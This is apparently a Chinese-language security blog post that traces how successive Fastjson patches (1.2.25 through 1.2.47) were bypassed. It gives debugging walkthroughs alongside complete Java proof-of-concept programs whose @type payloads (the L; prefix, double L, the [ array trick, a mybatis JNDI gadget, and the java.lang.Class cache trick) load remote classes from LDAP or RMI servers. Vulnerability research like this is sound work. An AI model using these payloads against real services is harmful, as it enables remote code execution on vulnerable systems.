1.2.25~1.2.41

关于1.2.25的修复改动

  1. autotype默认为false
  2. 增加 checkAutoType 方法,在该方法中进行黑名单校验,同时增加白名单机制

绕过方法:使用L;进行绕过

在maven中将fastjson的版本改为1.2.25再去执行原来的POC就会发现已经无法执行了。报错是不支持autoType

🥗FastJson各版本补丁绕过分析 - 图1

先看看在1.2.25版本中修复的一些点,可以使用idea中的compare来diff一下1.2.24和1.2.25版本的变化

🥗FastJson各版本补丁绕过分析 - 图2

这个方法会记录汇总在学习中的小tips当中。

在1.2.25中更新增加了一个checkAutoType方法来检测,下面开始调试,跟进

🥗FastJson各版本补丁绕过分析 - 图3

这里是先进行了一个判断,只要不为空,即可继续进行,随后给className赋值,做了下替换TypeName的值,如果存在$则替换为.

继续到这里会发现,都是两个条件都为false,直接跳到后面

🥗FastJson各版本补丁绕过分析 - 图4

这里未开启autoType即为true,所以进入循环进行黑名单判断

🥗FastJson各版本补丁绕过分析 - 图5

这边可以看到,com.sum.是在黑名单中的,所以这里直接抛出异常,不支持这个com.sun.rowset.JdbcRowSetImpl

🥗FastJson各版本补丁绕过分析 - 图6

后面这部分虽然没有走,但是可以看出来是白名单,如果传入的className的值不是在黑名单中的,那就将它添加到白名单中。符合前面所有条件后再去loadClass

🥗FastJson各版本补丁绕过分析 - 图7

这个是更新的补丁做的修复。下面看绕过的分析

开启autotype在POC中添加下面的代码

  1. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

现在的POC,我打算一步一步来,先看开启autotype后是走到哪里

🥗FastJson各版本补丁绕过分析 - 图8

调试一下

这是我下的断点(随便下的,看哪里顺眼就往哪下)

🥗FastJson各版本补丁绕过分析 - 图9

基本可以看懂逻辑了。还是跟踪一下看看

🥗FastJson各版本补丁绕过分析 - 图10

直接来到这里,已经开启autotype就直接走这里了,但是由于白名单是空的,所以来判断黑名单了,再次被匹配到,直接抛出异常。

🥗FastJson各版本补丁绕过分析 - 图11

再次修改POC,这次将类的写法换成Lcom.sun.rowset.JdbcRowSetImpl;

🥗FastJson各版本补丁绕过分析 - 图12

再次调试,这次前面重复的就不跟了,直接到Lcom.sun.rowset.JdbcRowSetImpl;不匹配黑名单后面

🥗FastJson各版本补丁绕过分析 - 图13

这里依旧是进入判断,继续执行,跟进TypeUtils.loadClass

🥗FastJson各版本补丁绕过分析 - 图14

可以发现这里有一个非常契合我们POC中的payload的点

  1. if (className.startsWith("L") && className.endsWith(";")) {
  2. String newClassName = className.substring(1, className.length() - 1);
  3. return loadClass(newClassName, classLoader);
  4. }

className是以L开头,以;结尾那么将它使用substring方法截取一下,真有趣,不知道是不是为了这个漏洞专门写的方法哈哈哈

🥗FastJson各版本补丁绕过分析 - 图15

又重新得到了com.sun.rowset.JdbcRowSetImpl再去loadClass,就可以愉快的进行后面的步骤了

1.2.25~1.2.42

这个版本修复了1.2.41时的漏洞,具体修复情况看官方修改的代码

🥗FastJson各版本补丁绕过分析 - 图16

再一次进行了loadClass,这个过滤比较无语,在写一次就能绕过,也就是双写L;

POC

  1. public class POC {
  2. public static void main(String[] args) {
  3. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  4. String st = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
  5. "\"dataSourceName\":\"ldap://localhost:1099/#Exploit\", \"autoCommit\":true}";
  6. JSON.parse(st);
  7. }
  8. }

🥗FastJson各版本补丁绕过分析 - 图17

loadClass:1091去掉一层L;,第二次再次去掉一层L;就得到了com.sun.rowset.JdbcRowSetImpl

经历两次一模一样的方法处理。

🥗FastJson各版本补丁绕过分析 - 图18

1.2.25~1.2.43

在1.2.43版本的补丁修复中,增加了以下验证,也就是在checkAutoType后又添加了一层判断逻辑

  1. if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
  2. if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
  3. throw new JSONException("autoType is not support. " + typeName);
  4. }
  5. className = className.substring(1, className.length() - 1);
  6. }

loadClass前面执行,如果是双写L就会抛出异常。

所以双写L这边也给禁掉了。还有一个思路是跟判断开头是L结尾是;的逻辑的同步逻辑中,还有这样一段代码。

  1. else if (className.charAt(0) == '[') {
  2. Class<?> componentType = loadClass(className.substring(1), classLoader);
  3. return Array.newInstance(componentType, 0).getClass();

现在大致是这么理解,然后现在说POC

  1. public class POC {
  2. public static void main(String[] args) {
  3. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  4. String st = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/#Exploit\", \"autoCommit\":true}";
  5. JSON.parse(st);
  6. }
  7. }

原本的POC是这样,只是在autotype的值前面加上一个[,来调用Array.newInstance去绕过禁用双L的修复。但是这样执行POC的话,会报错。

🥗FastJson各版本补丁绕过分析 - 图19

意为希望42列这里存在一个[至于是为什么,这个不清楚,但是稍微想一想,他一定不会是开发在提示你这个漏洞的POC该怎么写吧。所以就猜测可能是语法问题。至于为什么写,不深究(是因为也看不懂)

然后继续执行POC

🥗FastJson各版本补丁绕过分析 - 图20

再次报错,希望在43列的位置存在一个{

继续添加上去,再次执行,可以看到成功执行并弹出计算器

🥗FastJson各版本补丁绕过分析 - 图21

这也就是这个版本的修复与绕过

1.2.25~.12.45

这个就不做复现了,因为这个是利用了一个黑名单中没有的类进行攻击的,所以大概描述下,正常进行反序列化走流程就可以触发。

这里需要安装额外的库 mybatis
mybatis也是比较常用的库了 orm框架

  1. <dependency>
  2. <groupId>org.mybatis</groupId>
  3. <artifactId>mybatis</artifactId>
  4. <version>3.5.5</version>
  5. </dependency>

POC

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.parser.ParserConfig;
  3. public class POC {
  4. public static void main(String[] args) {
  5. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  6. String st = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://vps:port/TouchFile\"}}";
  7. JSON.parse(st);
  8. }
  9. }

关于这个包中利用到的类和方法

🥗FastJson各版本补丁绕过分析 - 图22

看到这边JndiDataSourceFactory类中,这里的setProperties方法中调用了`InitialContext.lookup()

其中参数是POC中输入的properties属性值自定义为data_source然后就可以进行利用并出发漏洞了。

1.2.25~1.2.47

这里有点不一样,所以再写一次

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

还有就是jdk版本的限制和相应版本调用的是RMI还是JNDI的限制了

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191

然后先尝试利用一下

  1. package JDBC;
  2. import com.alibaba.fastjson.JSON;
  3. //import com.alibaba.fastjson.parser.ParserConfig;
  4. public class POC {
  5. public static void main(String[] argv){
  6. //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  7. String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
  8. + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
  9. + "\"dataSourceName\":\"ldap://localhost:1099/#Exploit\",\"autoCommit\":true}}";
  10. JSON.parse(payload);
  11. }
  12. }

这里我使用的是ldap而不是rmi,因为我的jdk版本是8u172,使用rmi协议是无法利用成功的。

🥗FastJson各版本补丁绕过分析 - 图23

下面开始分析,看下POC是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

主要看ParserConfig.checkAutoType()中好几个判断做了什么,这里可以看到如果autuType是开启的,那么就会进入后面的黑名单验证,通过验证就直接返回指定的类名。当然这里是我没有开启,所以就直接进入到红框中的部分,从TypeUtils.getClassFromMapping()去获取类,这个typeName是指@type指定的类。

🥗FastJson各版本补丁绕过分析 - 图24

getClassFromMapping方法是从Mappings字典中去获取。我在这里下了断点看看字典

🥗FastJson各版本补丁绕过分析 - 图25

如果 @type 指定的类,在缓存 Mappings 字典里找到的话,跳过 checkAutoType检测直接返回类对象。这里就是这个漏洞的关键,只要在 Mappings 里添加可以利用到的反序列化的类,就能绕过 checkAutoType 的黑名单检测。

如果不在Mappings中,那么就进入下一步

🥗FastJson各版本补丁绕过分析 - 图26

跟进findClass()方法,也下一个断点

🥗FastJson各版本补丁绕过分析 - 图27

然后可以发现POC中的payload可以满足。

🥗FastJson各版本补丁绕过分析 - 图28

然后返回checkAutoType,赋值给clazz,再继续进行反序列化

🥗FastJson各版本补丁绕过分析 - 图29

然后将payload 中传入的val值赋值给objVal

🥗FastJson各版本补丁绕过分析 - 图30

下面定义了新的strVal,并将objVal又赋值给strVal

🥗FastJson各版本补丁绕过分析 - 图31

然后往下看,clazz==Class.class都是java.lang.Class符合判断,进入下一步,TyprUtils.loadClass()方法

🥗FastJson各版本补丁绕过分析 - 图32

然后在加载的时候先判断类是否在 mappings 中,如果不存在,加载完成之后会添加进 mappings

🥗FastJson各版本补丁绕过分析 - 图33

这里就将下面需要利用的恶意类 com.sun.rowset.JdbcRowSetImpl 添加进了 mappings,等下次反序列化进入 checkAutoType 时就可以绕过黑白名单检测。
这样才属于走完了payload的第一部分

  1. {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

它的作用就是将需要用到的恶意类先添加进mappings中然后第二次再去调用的时候就可以绕过checkAutoType的黑白名单检测了,第二部分就是之前的payload了。

至于这个在下一个版本的修复则是:在MiscCodec中设置了cache默认值为false

  1. if (clazz == Class.class) {
  2. return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
  3. }

🥗FastJson各版本补丁绕过分析 - 图34